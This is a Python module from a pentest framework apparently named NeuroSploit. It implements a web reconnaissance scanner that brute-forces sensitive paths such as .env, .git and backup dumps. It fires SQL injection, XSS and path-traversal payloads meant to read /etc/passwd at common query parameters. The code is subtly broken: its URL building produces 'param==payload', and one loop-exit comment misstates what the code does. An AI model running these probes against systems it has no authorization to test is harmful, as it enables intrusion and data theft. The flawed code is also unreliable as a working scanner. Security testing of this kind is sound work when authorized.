NeuroSploit/tools/web_pentest/web_recon.py

#!/usr/bin/env python3
"""
WebRecon - A tool for web reconnaissance and basic vulnerability scanning.
"""
import requests
import logging
from typing import Dict, List
from urllib.parse import urljoin, urlencode # Added urlencode

logger = logging.getLogger(__name__)

class WebRecon:
    """
    A class for performing basic web reconnaissance and simple vulnerability checks.
    """
    def __init__(self, config: Dict):
        """
        Initializes the WebRecon tool.
        
        Args:
            config (Dict): The configuration dictionary for the framework.
        """
        self.config = config
        # Expanded wordlist for discovering common paths
        self.wordlist = [
            "admin", "login", "dashboard", "api", "robots.txt", "sitemap.xml",
            "test", "dev", "backup", "v1", "v2", "v3", ".git", ".env", "config.php",
            "phpinfo.php", "index.php", "main.php", "home.php", "portal.php",
            "upload", "files", "images", "assets", "downloads", "includes",
            "src", "backup.zip", "data.sql", "admin.bak", "panel"
        ]
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
        }
        self.test_parameters = ["id", "page", "cat", "item", "view", "name", "query", "search"] # Added for vulnerability testing

    def analyze(self, target: str) -> Dict:
        """
        Analyzes a web target to find common directories, files, and basic vulnerabilities.

        Args:
            target (str): The base URL to analyze. It should include the scheme (http/https).

        Returns:
            Dict: A dictionary containing the findings including discovered paths and vulnerabilities.
        """
        logger.info(f"Starting web reconnaissance and basic vulnerability scan on {target}")
        findings = {
            "target": target,
            "status_code": None,
            "headers": {},
            "discovered_paths": [],
            "vulnerabilities": [] # New key for vulnerabilities
        }

        if not target.startswith(('http://', 'https://')):
            target = f"http://{target}"
            logger.info(f"No scheme provided. Defaulting to http: {target}")

        # 1. Check base URL connectivity and headers
        try:
            response = requests.head(target, headers=self.headers, timeout=5, allow_redirects=True)
            findings["status_code"] = response.status_code
            findings["headers"] = dict(response.headers)
            logger.info(f"Target {target} is online. Status: {response.status_code}")
        except requests.RequestException as e:
            logger.error(f"Failed to connect to {target}: {e}")
            return {"error": f"Failed to connect to target: {e}"}

        # 2. Discover common paths
        for path in self.wordlist:
            url_to_check = urljoin(target, path)
            try:
                res = requests.get(url_to_check, headers=self.headers, timeout=3, allow_redirects=False)
                if res.status_code >= 200 and res.status_code < 400:
                    logger.info(f"Found path: {url_to_check} (Status: {res.status_code})")
                    findings["discovered_paths"].append({
                        "path": url_to_check,
                        "status_code": res.status_code
                    })
            except requests.RequestException:
                # Ignore connection errors for sub-paths
                continue
        
        # 3. Perform basic vulnerability checks
        logger.info(f"Performing basic vulnerability checks on {target}")
        findings["vulnerabilities"].extend(self._check_sqli(target))
        findings["vulnerabilities"].extend(self._check_xss(target))
        findings["vulnerabilities"].extend(self._check_lfi(target))

        logger.info(f"Web reconnaissance on {target} finished. Found {len(findings['discovered_paths'])} paths and {len(findings['vulnerabilities'])} vulnerabilities.")
        return findings

    def _check_sqli(self, target: str) -> List[Dict]:
        """Checks for basic SQL Injection vulnerabilities."""
        vulnerabilities = []
        sqli_payloads = ["'", " or 1=1-- -", " or 1=1#", "\" or 1=1-- -"]
        sqli_error_patterns = ["sql syntax", "mysql_fetch_array()", "error in your sql syntax", "warning: mysql", "unclosed quotation mark"]

        for param in self.test_parameters:
            for payload in sqli_payloads:
                test_url = f"{target}?{param}={urlencode({'': payload})}"
                try:
                    response = requests.get(test_url, headers=self.headers, timeout=5)
                    for error_pattern in sqli_error_patterns:
                        if error_pattern in response.text.lower():
                            vulnerabilities.append({
                                "type": "SQL Injection",
                                "severity": "High",
                                "url": test_url,
                                "parameter": param,
                                "payload": payload,
                                "response_snippet": response.text[:200],
                                "description": f"Potential SQL Injection via parameter '{param}' with payload '{payload}'"
                            })
                            logger.warning(f"Potential SQLi found: {test_url}")
                            # Stop after first finding for this param/type
                            break 
                except requests.RequestException:
                    continue
        return vulnerabilities

    def _check_xss(self, target: str) -> List[Dict]:
        """Checks for basic Cross-Site Scripting (XSS) vulnerabilities."""
        vulnerabilities = []
        xss_payloads = [
            "<script>alert(1)</script>",
            "<img src=x onerror=alert(1)>",
            "<svg onload=alert(1)>"
        ]

        for param in self.test_parameters:
            for payload in xss_payloads:
                test_url = f"{target}?{param}={urlencode({'': payload})}"
                try:
                    response = requests.get(test_url, headers=self.headers, timeout=5)
                    if payload.replace('alert(1)', 'alert&#x28;1&#x29;') in response.text or \
                       payload in response.text: # Check for reflected payload
                        vulnerabilities.append({
                            "type": "Cross-Site Scripting (XSS)",
                            "severity": "Medium",
                            "url": test_url,
                            "parameter": param,
                            "payload": payload,
                            "response_snippet": response.text[:200],
                            "description": f"Potential XSS via parameter '{param}' with payload '{payload}'"
                        })
                        logger.warning(f"Potential XSS found: {test_url}")
                        # Stop after first finding for this param/type
                        break
                except requests.RequestException:
                    continue
        return vulnerabilities
    
    def _check_lfi(self, target: str) -> List[Dict]:
        """Checks for basic Local File Inclusion (LFI) vulnerabilities."""
        vulnerabilities = []
        lfi_payloads = [
            "../../../../etc/passwd",
            "....//....//....//etc/passwd",
            "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd" # URL-encoded
        ]
        lfi_patterns = ["root:x:", "daemon:x:", "bin:x:"] # Common patterns in /etc/passwd

        for param in self.test_parameters:
            for payload in lfi_payloads:
                test_url = f"{target}?{param}={urlencode({'': payload})}"
                try:
                    response = requests.get(test_url, headers=self.headers, timeout=5)
                    if any(pattern in response.text for pattern in lfi_patterns):
                        vulnerabilities.append({
                            "type": "Local File Inclusion (LFI)",
                            "severity": "High",
                            "url": test_url,
                            "parameter": param,
                            "payload": payload,
                            "response_snippet": response.text[:200],
                            "description": f"Potential LFI via parameter '{param}' with payload '{payload}'"
                        })
                        logger.warning(f"Potential LFI found: {test_url}")
                        # Stop after first finding for this param/type
                        break
                except requests.RequestException:
                    continue
        return vulnerabilities